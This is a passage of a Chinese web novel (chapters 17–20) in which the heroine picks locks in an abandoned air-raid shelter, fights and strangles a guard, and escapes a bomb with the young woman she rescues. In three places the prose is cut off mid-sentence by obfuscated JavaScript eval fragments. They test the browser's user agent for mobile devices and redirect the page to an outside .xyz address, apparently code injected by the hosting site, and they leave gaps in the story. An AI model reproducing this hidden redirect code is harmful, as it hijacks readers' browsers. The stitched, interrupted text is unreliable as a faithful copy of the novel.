莫醉走到防空洞的最后一间房间。 房间中摆着两张书桌,和一个不锈钢书架。书架上空空荡荡,堆积着厚厚的灰尘,灰尘上没瞧见物品移动的痕迹。 像刚刚的几个房间一样,莫醉用极快的速度,将这里翻了个底朝天,仅发现一个硬壳塑料垫板,垫板上夹着几张手写的纸。 纸上是乱七八糟的英文,基本都是专业术语,莫醉看不懂,但莫醉要带走。她将纸张连同着垫板塞进衣服中,和藏相册的方式一样,将这份唯一的资料藏在身上,带离房间。 防空洞尽头的墙壁角落,藏着一扇与墙壁颜色相似的防盗门,在远处时隐藏在墙壁中瞧不见,走到跟前时才能看清。莫醉一秒都没犹豫,再用铁丝撬门。这锁比刚刚的几个房间锁要复杂,撬锁用的时间久了些,好在顺利打开。 门后依旧是空旷的防空洞,顶部悬挂着一颗孤伶伶的灯泡,光线比刚刚要昏暗不少。防空洞内阴气更浓,有细细弱弱的呜咽声。莫醉开门的声响惊醒哭泣的鬼魂,声音抖如筛糠,在防空洞中不断回响,愈加阴森。 “是谁?” 17.三白眼 面前的防空洞不再笔直,有了弧度,前行十余米右拐,两侧再次出现牢狱似的房间。 刚刚的惊呼声是从第三个房间中传出的。 莫醉小心翼翼凑近,透过门上的小窗户向内看,一个穿着黑色羽绒服的年轻姑娘缩在昏暗的房间角落瑟瑟发抖,披散的头发凌乱堆在肩头,一双眼睛睁得滴溜圆,眼眶发红,眼妆晕染,正是蔡思韵。 上一次见面还是在罗布泊中,她紧闭双眼生死未明,这一次眼睛倒是睁开了,却被关在地下防空洞里。 “来救你的。”莫醉不废话,掏出铁丝,蹲下身子熟练开锁,“你什么情况?怎么被关在这儿了?” 蔡思韵慌慌张张从地上爬起,走到门前几步停住脚步,脑子还在犹豫是否要相信莫醉,嘴巴已经在回答问题:“我也不知道……我们一行四人,进了废弃——” “停。”莫醉打断她,“从你和同伴走散开始说。” 这人怎么知道她还有同伴?蔡思韵心有疑惑,更多的是被打断的不爽。她深呼一口气,再开口时冷淡不少:“我们四人排成一列通过一扇旋转铁门,第一个通过的人是大白鹅,是一个和我差不多大的姑娘。第二个是我。第三个是我男朋友,比我大一岁。第四个是一个叫瓜仔的男网友,三十多岁。我通过时,大白鹅正在门对面的黑暗中等我,我们二人如预料般会合,之后事情却变得诡异起来。” 蔡思韵吞咽了口唾沫,脑海中浮现不久前发生的事,克制不住地颤抖,像是再次回到铁门后的阴冷黑暗中。 - 几个小时前。 她和大白鹅穿过铁门,站在黑暗中边等人,边猜测讨论防空洞深处有什么,语气轻快,并不害怕。直到那扇铁门许久未有响动,边洛阳和瓜仔迟迟未出现,她的心中才生出一丝惊慌。 大白鹅知道她害怕,压低声音笑着安抚:“我猜他们是准备躲起来吓唬咱们。男人就喜欢搞些恶作剧,无聊死了。要不咱们先下手为强,突然冲回去,反过来吓吓他们?” 她忙不迭点头答应,仿佛抓住救命稻草。 二人折回旋转铁门处,大白鹅气沉丹田,猛地向前一推,铁门纹丝不动,她却像被揍了一拳,退后几步才勉强站稳。大白鹅愣了几秒,以为是误推在门轴上,才没能推开,再次上前,双手按在在铁门的边缘,小心翼翼试探,铁门依旧没有任何反应。她不放弃,又换到门的另一侧边缘,再次用力推,仍然没有任何变化。 铁门被锁死,成了真正的铜墙铁壁,将她们困在无尽的黑暗中。 她冲到铁门边,疯狂拍打铁门,哭着喊着边洛阳和瓜仔的名字,希望得到回应,但铁门另一侧安安静静,没有任何声音传来。 这俩人像是突然离开,又或者突然消失了,将大白鹅和她彻底丢在了这里。 可她知道这不可能。 瓜仔也就罢了,边洛阳可是她的男朋友,几个星期前他们还一起去过罗布泊,是共患难的男女朋友关系,他怎么可能抛下她、独自离开? 她掏出手机,给边洛阳打电话。大白鹅看到她的动作瞬间清醒,慌慌张张找出瓜仔的号码拨出。 两通电话都无法接通。 “或许是咱们四人都在地下的缘故。”大白鹅磕磕巴巴安慰,“我这就报警。你不是说你有个朋友也来了格尔木吗?他在地面上,你试试联系他。” 她立刻照做。 但换了号码,电话依旧打不通。 防空洞中经年的凉气侵蚀着她的四肢百骸,麻木她的身体,无法动作,也无法开口说话。心跳一下强过一下,视线眩晕模糊,她扶着铁门勉强站稳身体,大脑一片空白,不知如何是好。 大白鹅的脸色也不好看,再编不出更多的理由,只能无力道:“往前走吧。前面也许会有信号,也有可能会有出口。” 似乎也没有更好的法子了。 她紧紧挽着大白鹅的胳膊,努力控制发软的腿脚,咬着牙走向更深处的黑暗。手中手机一刻都没放下,接连不断点击屏幕上季老二的电话,看着屏幕暗了又亮,亮了又暗,期待着奇迹的出现。 - 蔡思韵在回忆中挣扎,语气越发急促:“我们走进一扇门,那里很亮,有很多房间,我的手机突然就有了信号,竟然拨出了电话。电话很快接通,我正要说话,前面几十米外的门却突然开了。我们不知道门开后走出的会是谁,第一反应是先躲起来观察。两侧房间的门都锁着进不去,防空洞里又没有其他地方可以躲,我们只能往回跑。跑动间信号再次断了,我只能给我的朋友,还有边洛阳都发了短信。我不知道短信发没发出去,但我希望他们能收到短信,来救我们。” 莫醉还在开锁。 这里的门锁比上个房间的门锁要复杂,莫醉将九分精力放在门锁上,剩余的一分精力敷衍接话:“后来呢?那人把你们抓起来了?” 蔡思韵点了点,旋即想起隔着一道门,对方看不到,轻声回答:“是。铁门锁着,防空洞里没有可以藏身的地方,我们在黑暗中被人打晕,再睁眼时就被关在了这里……对了,你是谁?怎么会出现在这里?你见到其他人了吗?就是我刚刚说的那几个人。” 莫醉忽略掉前两个无关紧要的问题:“你是我遇见的第一个人。”她附耳在门锁上,全神贯注辨别锁芯处细微的响声,调整着手上的动作,啪嗒一声,门锁应声而开。莫醉拉开门,靠在门框上,眼中有松散笑意,“还没来得及问你,你脖子上的伤好了吗?” 蔡思韵愣住,正想说什么,远处传来细碎声响,像是钥匙的碰撞,夹杂着不紧不慢的脚步声。 莫醉冷了脸色,将蔡思韵扯出房间,拉着她向防空洞更深处跑。二人经过十几间房间,拐过一个弯儿,再次被一道门挡住去路。 这道门比前面的所有门都要复杂,类似银行金库的大门,厚实而沉重,显然无法靠一根铁丝撬开。 来人自然听到她们的脚步声,知道她们无路可逃,只能躲在防空洞的尽头。他故意放缓动作,口中哼起轻快的小曲儿,逼她们在恐惧绝望中崩溃。 一步、两步、三步。 声音在空荡的防空洞中反复回响,像是来自幽冥地狱。脚步越来越近,一步一步似踏在蔡思韵的心上,彻底将她击垮。她想起黑暗中被人追杀、打晕的场景,后脑勺又开始痛,还未看到人就忍不住落泪:“怎么办,我们是不是要死在这了……” 对方显然来者不善。莫醉抬头盯着面前的拐角,将开锁的铁丝缠绕在手腕上,言简意赅:“躲远点。” 昏暗封闭的防空洞里,对方知晓她们藏身的角落,知道她们中一人的实力,她们却对他一无所知。莫醉不畏惧未知的敌人,但喜欢尽可能掌握先机、掌握主动权,将一切收入掌中,谋划争取最有利的路。 这一局的先机,是出其不意。 莫醉全力跑过来时的弯儿,眼前出现一个四五十岁的男人。这男人穿着普通的棉服,身材壮硕,一双三白眼紧紧盯着突然出现在面前的人,凶气四溢,唇角笑容凉薄阴森。 莫醉咬紧牙关,抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497422|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出藏在冲锋衣内侧口袋里的氧气瓶,向着几米外的男人跑去。 这瓶氧气是在酒店时,季风禾给她用的那瓶。出门前她瞥见她用过的塑料罩子,顺手将没用完的氧气瓶塞进怀中。 能住得起总统套房的人,必然不会和别人共享同一瓶便携式氧气。这东西虽然不贵,但也不能白白浪费,说不定什么时候就能派上用场。 没想到还真派上了用场,只是这“用场”有点出乎莫醉的预料。 氧气瓶好歹算个金属,用尽全力敲在人脑袋上,杀伤力不比砖块小。莫醉抡起胳膊,将氧气瓶对准三白眼的脑袋狠狠敲下,被他轻易躲开。第一下本就是诱敌之计,下一瞬,莫醉的胳膊以意想不到的路径,反手挥向三白眼的下巴。三白眼像是预料到她的一举一动,伸手去抓莫醉的手腕,出手快准狠。莫醉心中泛起凉意,胳膊抡到一半硬生生改道,砸在一旁的墙壁上溅起几个火星。 拳头声撕裂空气,冲着莫醉的头颅袭来,莫醉将背靠紧墙壁翻身勉强躲过,用尽全身力气揣向三白眼的下三路,却被他抓住鞋底,无法挣脱。莫醉干脆借着他抓握的力,纵身而起,另一条腿如挥舞的鞭子,扫向他的头。三白眼自然不会老实挨打,用尽全力将莫醉的身子甩向一旁的墙壁,然后松手。 莫醉试图挣扎翻身,但悬于空中无力可借,只能直直坠落,任由膝盖磕碰在地面,发出清脆的声响。 莫醉跪在地上咬紧牙关,认清了她打不过对面这人的事实。 莫醉的拳脚功夫对付普通人绰绰有余,但对付这种或许有特殊背景的练家子,只有挨揍的份儿。对面之人一招一式皆像是练过成千上百遍,对速度和力量的控制几乎完美,如同刻在骨子里一般。他甚至能精准预测到莫醉毫无章法的每一招,每一个躲避的方位,给出最直接的反击。 三白眼察觉到莫醉的吃力,并不急着上前。他居高临下欣赏猎物濒死前的挣扎,恶意不加掩饰,愈发猥琐恶心:“还是你这样的女人够味儿,比那两个娇滴滴的好玩多了。妹妹,别挣扎,我挺喜欢你的,我留你一命,不如就留下来陪我吧?” “我可不想当地沟里的老鼠。”莫醉双目赤红,站起身直视他,咬着牙笑,“不如你叫我一声祖宗,我带你离开这地方,去亮堂处改过自新好好做鼠?” 三白眼并不恼恨,反而变得更加兴奋:“那我只能将你逮住,关在这里,好好调教,教你如何做个合格的女人。” 三白眼欺身而上,莫醉左右闪躲,勉力支撑,寻找可以反攻的机会。防空洞内空间狭窄,饶是莫醉身法灵巧,肩膀仍因躲避不慎被那人的拳头擦过,痛到发麻。她紧紧咬着嘴唇,余光瞥见头顶的灯,突然有了新的主意。 这段防空洞中,共亮着两个灯泡,分别在两个拐角处。她和三白眼在打斗间不知不觉换了位置,距离其中一个灯泡只有几步的距离,而另一个则在蔡思韵不远处。 一瞬间,莫醉放弃进攻三白眼,做了个危险的决定。她将后背留给三白眼,奋力向亮灯的地方跑,扬起声音冲着角落里的蔡思韵大吼:“把灯泡打碎!”然后跃起身子,用氧气瓶砸头顶的灯泡。 莫醉不知道蔡思韵能不能办到,灯泡碎裂的一刻,已经在想如何越过三白眼,跑回另一个亮灯处。好在蔡思韵虽然害怕,却也知道生死攸关时不能掉链子。她抽出衣服上的铆钉腰带,冲着灯泡胡乱挥舞,几秒后灯泡竟真的被她击落。 黑暗在一瞬间侵蚀整个防空洞,莫醉松了口气。 牌桌彻底洗牌,这次轮到她坐庄。 18.铁丝 防空洞里一片黑暗,莫醉屏住呼吸,看着前方五步外的三白眼。 他站在原地一动不动,目光锐利,紧盯莫醉的方向,并未因突然的黑暗而自乱阵脚。 莫醉吓了一跳,以为他也能在黑暗中视物。随后发现,他的视线并无定处,只是凭借直觉和黑灯前她所在的方位,判断出她的大概位置罢了。 莫醉抿紧嘴唇,目光紧锁三白眼,动作不停,边向三白眼靠近,边缓缓举起氧气瓶。她无声无息迈出第一步,三白眼瞬间察觉,将手拟作鹰爪,扑向莫醉,试图钳住她的喉咙。莫醉向后折腰,单手撑地,后翻躲过三白眼的攻击。三白眼不得不向后撤半步,让开莫醉翻腾的双脚。莫醉趁着这点空隙冲蔡思韵大吼:“快唱歌!” 蔡思韵呆住,以往称霸ktv,被朋友戏称为燕城霉霉、黄种碧昂斯、格莱美在逃候选人的气势,荡然无存。她的大脑一片空白,急得都忘记害怕,搜肠刮肚半天,只想出一首歌,急急忙忙开口:“是谁带来~远古的呼唤~” 蔡思韵的嗓音细细弱弱,偏调又起高了,到副歌部分扯着嗓子梗着脖子,几乎快要断气。 甭管好不好听,莫醉很满意蔡思韵的敏捷反应。她推测三白眼的听觉极为灵敏,能靠极其细微的声音确认她所在的方位。此刻蔡思韵的声音在防空洞中反复回荡,真正的余音绕梁,层出不穷。 她就不信三白眼能在《青藏高原》里找到她的位置。 “闭嘴!”三白眼怒吼,再不见刚刚的淡定模样。他的耳膜被尖锐歌声袭击,再听不到对面莫醉的动作,耳边响起嗡鸣,头也开始疼,“我让你给我闭嘴!你到底会不会唱歌!” 蔡思韵顿了一秒,意识到这招真的有用,更气他质疑她的演唱水平,唱得更大声。她想靠歌声帮莫醉,又担心三白眼循着她的声音找她算账,歌声在恐惧中越发飘忽,像青藏高原上出了个九曲十八弯。 场上局面因女鬼式bgm的出现而发生改变,莫醉终于不再是单方面挨打,有了反击的机会。 莫醉的力量和功夫弱于三白眼太多,唯一的优势在于身法灵巧,能在黑暗中看清对面的一举一动。她再次挥出氧气瓶,依旧是冲着三白眼的脑袋砸。莫醉的动作带出一阵劲风,三白眼靠着多年的经验,准确抓住氧气瓶,试图将氧气瓶从她的手中抽走。莫醉死死握住,而后左脚狠狠踹向三白眼的腹部,三白眼再次握住她的鞋底,冷笑道:“妹妹,同一招你使两次,一次不成再来一次,你当哥哥我是吃素的?” 莫醉脚踩住他的手掌,借力跃起,一个空翻脱了鞋扔了氧气瓶,落在三白眼身后,勒紧手中的铁丝,笑道:“睁开你的狗眼看看,这是同一招吗?” 在蔡思韵歌声响起时,莫醉便借着声音的掩护,悄无声息解开缠绕在手腕上的铁丝,拉近绷直捏在两手间。防空洞中黑漆漆的,即使是她也很难发现一根这么细的铁丝,更何况是没有夜视能力的三白眼。她料准三白眼会握住她的氧气瓶或是手腕,也算到他的另一只手会抓住她仅剩的一只鞋子来保护他的胸腹,抵御她的进攻,正好趁这个机会借力前空翻越过三白眼的头顶,将早就拉开的铁丝,缠绕在那只撞入鱼网的鱼的脖颈上。 莫醉运气极好,一切都按照她的剧本发展,并未出现任何意外。鞋子和氧气瓶落地,发出清脆的响声。三白眼一只手抓住勒在脖颈处的铁丝,另一只手在空中挥舞,试图抓住莫醉的手,却怎么都使不上力气。 “我要……杀了你……”三白眼胀红了脸,双目突出,声音沙哑到几乎无法听清。 “哦。”莫醉轻笑,再收紧几分铁丝,“我就在这,等着你来杀我。” 她看着三白眼挣扎的力气越来越小,丝毫没有放手的意思,直到他的身子彻底瘫软,才松开勒住他的铁丝,任由他的身体瘫软在地上。 她的手心早已布满汗水,手指被铁丝勒出几条深深的印记,指节亦因太过用力而胀痛,僵硬到一时无法伸展,像是过度使用的机器。 蔡思韵察觉到这里的动静,歌声戛然而止。防空洞内安静到落针可闻,她颤颤巍巍点亮手机屏幕,借着那丁点光跑到莫醉面前,看着地上躺着的人,颤声道:“……死了?” 身体的疼痛在这一瞬间涌上莫醉的身体,被打的肩膀,磕在地上的膝盖,还有多个被拳头擦到的部位。 此刻远不到放松的时候,她捡起散落在地面的鞋子和氧气瓶,一屁股坐在地上,掏出藏在兜里的氧气瓶盖子,三两下组装好后呼哧呼哧吸了几口,大脑清醒不少,勉强缓过劲儿来回答蔡思韵的问题:“你都活着,他怎么可能死?” 手机屏幕的光早就暗下来,蔡思韵站在黑暗中,突然想起莫醉打开关住她的铁门后,见到她时说的第一句话,“你脖子上的伤好了吗?” 两个多星期前,她在罗布泊里被人掐晕过。后来经过医院的治疗,她不仅活蹦乱跳出院,甚至来了格尔木探险。黑暗中,她并没看到莫醉如何制服三白眼,还当这人的情况和当时的她相同,都是被人掐晕的。 蔡思韵松了口气,小心翼翼向莫醉的方向靠近。 防空洞中是完全的黑暗,没有一丝光,即使在这里呆了这许久,她依旧看不清任何东西,迈出的每一步都充满未知和试探,双手控制不住前伸,在黑暗中挥舞摸索。 “停。再走要踩到我了。” 蔡思韵听到莫醉的示警声,停住脚步,看向前方如深渊般的黑暗,隐约察觉到不对劲。 刚刚手机屏幕还未熄灭时,她隐约看到莫醉利落又精准地捡起散落在地上阴暗处的东西,没有任何迟疑,此刻又能在一丝光都没有的黑暗中,准确辨认出她的动作和位置……就像她能清晰看到黑暗中的一切似的。 蔡思韵再次点亮手机屏幕,果然瞧见前方十几厘米处,盘腿坐在地上的莫醉。蔡思韵缓慢蹲下身子,试探道:“你刚刚是怎么在黑暗中看到我的?” 莫醉指指耳朵,随口捏造谎话:“绝佳的听力,能听到你的每一步动作。” 蔡思韵将信将疑,又问:“你怎么知道我的脖子受过伤?” “废话,因为你是我救的啊。”莫醉麻溜穿上鞋,忍着膝盖的疼痛,手撑地面缓慢起身,晃了晃四肢,确认还能正常行动后,松了口气,“要是今天能走出去,我算是救了你两次。放古代你都该以身相许了。” 蔡思韵知道季风禾花二十万找人救她,也从边洛阳口中听说了救他们的人中有个年轻漂亮的姑娘,但没想到是莫醉。她的脑海中浮现刚刚灯光下,莫醉的飒爽身姿、灵巧身形,脑子一热,张口就是:“女侠,我认你当师父吧,你教我功夫,我跟着你混!” 这人是疯了吗?莫醉顿住,几秒后才回过神来,表情中带着几分匪夷所思: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509675|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “婉拒了哈。我的三脚猫功夫到不了收徒的地步,我也没那个耐心。” 更重要的是,有的东西是她血脉里带的,这怎么有办法教? 蔡思韵不气馁,跟在莫醉后面亦步亦趋:“那我认你当老大可以吗?你说什么我都听你的,只求下次我出去探险的时候,你和我一起去。你放心,我很有钱的,我可以支付你一大笔报酬!” 一大笔报酬……莫醉再次心动,旋即意识到现在还在防空洞里,遗憾打断她:“这事出去再说,当务之急是带着大白鹅从这里离开。” “你找到大白鹅了?”蔡思韵惊讶。 “嗯。刚刚碰巧看到有一间房里关了个和你差不多年纪的女孩,昏迷不醒,我猜应该是她。” 莫醉领着蔡思韵走了两步,突然想起什么,打开手机手电,装出一副看不清路的模样。她凭着记忆走到一扇门前,让光线从门上小铁窗照进房间,瞥了一眼屋内情形,让开窗前的位置,问一旁的蔡思韵:“喏,你看看,是大白鹅吗?” 屋内的摆设布置和关押蔡思韵的房间一样,角落放着一张单人床,床上堆放着脏兮兮的、不知用了多久的破烂布条似的被褥。一个短发姑娘躺在烂布条中,毫无反应生死未知,好在衣服还是完整的。 蔡思韵只看了一眼,肯定道:“对,就是她!” 莫醉将手机塞到蔡思韵手中,认真道:“你帮我照着点,我来开锁。” “好。” 莫醉将匆忙塞进兜里的铁丝重新掏出,活动了下肩膀和膝盖,舒缓不适感,而后蹲下身开锁。她已然记不清这是她今日开的第几个门锁,生疏的技能在时间的压迫中突飞猛进,几乎可以去集市摆摊。 说起来,她开锁的技术还是多年前和燕城家附近的一个老人学的,那老人年轻时是个神偷,被抓吃了几年公家饭,出来后儿女都不肯认他,过得颇为清贫寂寞。莫醉偶然和他相识,时常去陪他说话,他便将一身开锁的本事交给了莫醉。 可惜当年的莫醉只图好玩儿,学得并不认真,不然怎么可能被尽头处的金库门困住。 蔡思韵举着手机,看着莫醉认真的动作,忍不住追问:“洛阳说,他也是你从罗布泊里带出来的,但是他不肯说当时是什么情况,季二哥也不肯说……对了,你见过季二哥了吗?就是季风禾,当时找你去罗布泊救我的人。他也来了格尔木,就是我刚刚提到的,发短信打电话的那个朋友。也不知道他到底收没收到消息……” 莫醉从没见过一个人思维跳跃到这种地步。不过罗布泊的地洞本身就是个“不可说”,知道的人越少越好。蔡思韵转了话题,莫醉乐见其成,只回答了和季风禾有关的问题:“见到了。你给他发的短信他收到了。看到短信后他立刻报警,来这里救你。我正好欠他一个人情,跟着过来帮忙。你和边洛阳还有瓜仔遇到的事,我和季风禾也遇见了,不然现在出现在你面前的应该是两个人。” 蔡思韵叹了口气:“哎,又欠他一个人情……” 莫醉八卦之魂再次燃烧,但面前是个姑娘,还是个不怎么熟悉的姑娘,有的话怎么都问不出口,只能抓耳挠腮地忍着。好在门锁恰在此刻被撬开,莫醉正要拉开门,不远处传来铁门开合的细碎声响。 蔡思韵垂眸看了一眼还面前还合着的门,瞬间腿脚发软,颤声道:“好像……又有人来了……” 19.炸弹 寂静的地下,一丁点的细微响声都会被无限放大。 蔡思韵开口示警的同时,莫醉夺过手机关闭手电锁死屏幕,一套动作行云流水,一刻不停向声响传来的地方跑。 转过拐角是来时的甬道,门后的昏暗中站着一个身材小巧干瘦的人,大概四五十岁的年纪,一头卷毛贴在头皮上,像个弥勒佛似的。他看到莫醉心下一惊,手中手电摔到地上滚到一旁,不再发光,转身慌慌张张往铁门的方向跑。莫醉三两步上前,做好殊死一搏的准备,那人却不似三白眼能打,肩膀被她握住后,眼见跑不过,立刻跪在地上,哭丧着一张脸求饶:“我就是个看门的,求求你饶了我吧。” 他动作连贯,跪得异常顺滑,反倒让莫醉措手不及。莫醉愣了一秒,丝毫不手下留情,按住他的脖颈推到墙壁上控制住:“你是谁?来这里干什么?” 卷毛在黑暗中转了转眼睛,小心翼翼回答:“我就是个看门的,替老板们看守这个地方。你们又是谁?为什么会出现在这里?” 莫醉忽略掉他的问题:“这个地方?这是什么地方?是做什么的?” “是个地下疗养院……具体的老板们不说,我也不知道啊。” “你老板是谁?” “老板就是老板……我一个打工的,怎么可能知道……” 莫醉皱起眉,恶狠狠威胁:“你再说一句不知道,我就把你这一头卷毛剃光。说,这地方荒废多久了?” “十多年了吧。”卷毛挣扎着抬起脖颈,却被莫醉再次按到贴满老式瓷砖的墙壁上,脸上肉挤变了形,哀声央求,“姑娘,轻点,疼啊!” 莫醉懒得搭理他,继续发问:“你是什么时候来这里工作的?” “……二十多年前。” 莫醉挑乐了:“你二十多年前来这工作,十多年前这里荒废,你说你不知道这里是做什么的,合着这十年你是瞎子,这地方倒闭了,你视力也恢复了?” 卷毛呆住,磕磕绊绊解释:“是我说错了,我是二十多年前来的格尔木,但几年前才到这里看门……我真不知道这里是做什么的啊……” 莫醉不置可否,继续追问:“这么一个废弃防空洞,为什么还需要人看守?为什么这么多年还通着电?这里是不是藏着什么东西?” “应该是为了那些白骨和干尸吧。”卷毛猜测她们看过前一个防空洞里藏着的东西,老老实实交代,“那些干尸需要恒温恒湿保存,需要通电的仪器维持。” “就你一个人看着?” “两个。”卷毛咽了口唾沫,“我和一个叫大山的哥们。我们俩轮班,一人看两天。今天正好是换班的日子。你们是不是见过大山了?大山是不是在里面?” 莫醉凑近卷毛耳边,阴恻恻低语:“你说呢?” 卷毛声音颤抖,哆嗦个不停:“他还活着吗?” “你带我们出去,我告诉你他活着还是死了。” 卷毛哭丧着一张脸:“我没法带你出去。你们是从旋转门进来的吧?那门是个单向的,只能进不能出。如果要出去的话,要从另一个防爆门走。那个门的钥匙现在在大山身上。” “你当我是傻子吗?”莫醉冷笑,“这门的钥匙如果只有大山身上有,他出去了你又误闯进来怎么办?在这等着大山救援?” “那门很特殊,钥匙插上打开门后便拔不出,若想拔出,就必须关上门。所以我们只有在换班开门时,才会交换那把钥匙。现在钥匙应该就在大山身上,不信的话,你去翻翻。” 莫醉的右手依旧扣住卷毛的后脖颈,左手松开他的手臂,单手在他的身上摸索,不放过上衣裤子上的任何一个口袋,只摸出了一个手机和一个打火机。莫醉侧头看蔡思韵:“把你的腰带给我。” 蔡思韵摸索着递过腰带,莫醉接过后,松开按住卷毛脖颈的手,正准备将卷毛的双手绑起,卷毛却突然转身发力,将莫醉狠狠一推,冲着虚掩着的大门跑去。 莫醉一时不察,向后仰倒重重摔在地上,正好撞到被三白眼打到的伤处,痛得呲牙咧嘴。蔡思韵小心翼翼靠近,将莫醉搀扶起身,带着哭腔:“老大,你怎么样了?” 不过十几秒的功夫,卷毛已经冲出大门,回到存放白骨的房间。原本虚掩着的大门再次被狠狠甩合,发出巨大的响声,震得莫醉耳朵发麻。莫醉咬着牙起身,跑到大门处,想要开门时才发现这门是个奇葩,无论从哪面开门都需要钥匙。她强压着怒火,强迫自己冷静下来,顺手捡起被卷毛仍在角落的手电。 手电落地时被摔坏,莫醉推了几下开关,毫无反应。她不信邪,在墙上狠狠敲击几下后,心中火气散去几分,手电也奇迹亮起。她顺手塞到蔡思韵手中:“虽然我觉得这人八成在骗我们,但还是去三白眼那翻翻看吧。” 蔡思韵早就被吓没了魂儿,像个尾巴似的跟在莫醉身后,返回三白眼身边。 三白眼仰面躺着,双眼紧闭,还是刚刚离开时的模样。手电筒的光直直照在他的身上,蔡思韵一下子瞧见他脖子上极细的勒痕,显然不是双手掐出来的。她心中一紧,伸手去摸三白眼脖侧的大动脉,触碰到隐约的跳动,刚要松口气,又怕刚刚的动作被莫醉看到,惹她不高兴。她小心翼翼抬起眼,见莫醉正忙着翻三白眼的口袋,像是没看到她的动作似的,这才彻底放下心来。 莫醉自然看到她的动作,但这事对她来说太过微末,都懒得多提一句。她翻遍三白眼身上每一个可以放东西的口袋,就差去翻他的内裤,依旧什么都没找到。 她被卷毛给耍了。 莫醉气得要命,不是气卷毛狡诈,而是气自己的蠢。防空洞的氧气确实太稀薄,稀薄到她的所有智商都快葬送在这里,接二连三犯错,信了骗子的话,还不小心把骗子放走了。 蔡思韵看着莫醉阴沉的脸,小心翼翼问:“现在该怎么办?” 莫醉深吸一口气,控制住火气,不去迁怒一个小姑娘,但声音还是冷了几分:“你去把大白鹅背出来。我知道你可能背不动,但你先尽力试试。我先去开锁,看看能不能抓住那个死骗子。” 蔡思韵认真点头:“放心,我虽然不会打架,但是一直撸铁,力气很大的。” 莫醉不再说话,爬起身一瘸一拐向黑暗中走去。蔡思韵想要去扶她,又想起她交代的话,不再犹豫,转身进了大白鹅的房间。 大门紧闭着,莫醉掏出铁丝,花了几分钟将门锁撬开。 光线迫不及待涌入黑暗,莫醉适应几秒,再睁开眼时,正看到卷毛从堆放医疗用品的仓库里搬出一捆炸药样式的东西,放到走廊上。卷毛看到她后眼中全无惧意,露出一个挑衅的笑,按下炸弹上的按钮,转身向旋转门的方向狂奔。 刹那间,莫醉醒悟了两件事。 旋转门那边果然有能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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莫醉本不想让蔡思韵生命的最后几秒被恐惧所充斥,没打算告诉她真相,却没想到这姑娘还挺敏锐的。说话间二人已经走到尽头处的大门前,蔡思韵将大白鹅小心翼翼放到地面,气喘吁吁追问:“说话呀,究竟是什么意思?” 莫醉也不知道该怎么解释,只能略过过程,讲了个结果:“还有四十秒,这里会被炸掉。这扇门我开不了,咱们现在在的地方,已经是我能想到的最安全的地方。现在还有三十秒,你还有什么话想说?” 蔡思韵这辈子都没想过,她会死在这么一个地方,黑不溜秋的,阴冷阴冷的,还是和几个不怎么熟悉的人。她的脑子乱成一片,开口就是哭声:“我不知道……” 莫醉靠墙而立,在心中默数着秒数,还有一分钟。 一分钟不够她回忆短暂仓促的一生,不够她交代后事——她孑然一身,也没什么可以交代后事的人。她看着面前的大门,竟是出乎预料的平静,只是遗憾于她竟然没有任何一句话想留给这个世界。 这个世界真是挺讨厌的。 还有五十秒。 蔡思韵已经被吓到忘记哭泣,莫醉突然笑起来,安慰道:“别怕,虽然我没经历过,但我想那过程会很快,你感受不到痛苦的。” 蔡思韵怒道:“我不要知道这些啊!” 莫醉耸耸肩,不再说话。 最后三十秒。 莫醉闭上眼,任由思绪彻底放空。蔡思韵彻底呆住,连抽泣都忘记。 防空洞中再无任何声响,在这种极致的静谧中,莫醉突然听到一声轻响。 “咔嗒”。 20.爆炸 紧闭的防爆大门被人推开,光有了形状,从细细一条到照亮整个防空洞,用了不到一秒。 门外站着一群人,为首者是个穿着黑色棉衣的男人,手上戴着手铐,手中拿着古怪工具,面有得色:“这门有些老了,是三十多年前的款式,我二十年前就能单手开了。” 莫醉扶着墙站起身,来不及感受劫后余生的喜悦,一秒抓回理智,将被门挡住的蔡思韵和大白鹅扯到众人视线内:“里面有炸弹,二十五秒后爆炸。” 开锁人瞬间被推到一旁,骂骂咧咧,门外人一拥而上手脚麻利,将无意识的大白鹅搬出通道,又将呆住的蔡思韵拉出。 莫醉拒绝了想要帮她的人,在众人撤离后最后一个走出防空洞,视线扫过四周。 防爆门外是个圆柱形建筑的内部,铁楼梯盘旋而上,上不见顶下不见底。楼梯狭窄,挤着十几个人,有消防有警察,还有灰头土脸的边洛阳,和人群最末端、站在高处的季风禾。救援的人紧贴楼梯,勉强腾出半人宽的路,让大白鹅和蔡思韵优先通过。 距离炸弹爆炸,只剩最后十秒。 众人有序撤离,蔡思韵顺着楼梯走了几步,突然回过头,双目被惊慌席卷,嘴唇瞬间褪去血色,颤声道:“里面还有一个人——” “砰”!防爆门被走在最后的莫醉重重合上,打断蔡思韵未说完的话。 莫醉抬起眼,目光越过中间的人,对上蔡思韵的眼,厉声喊:“走!” “里面还有人?”一边的消防愕然,“你怎么不早说!快开门!” 莫醉用了十足的力气,推着这个年轻的小伙子往上走:“开个屁!最后五秒,救不了了!” “可是——” 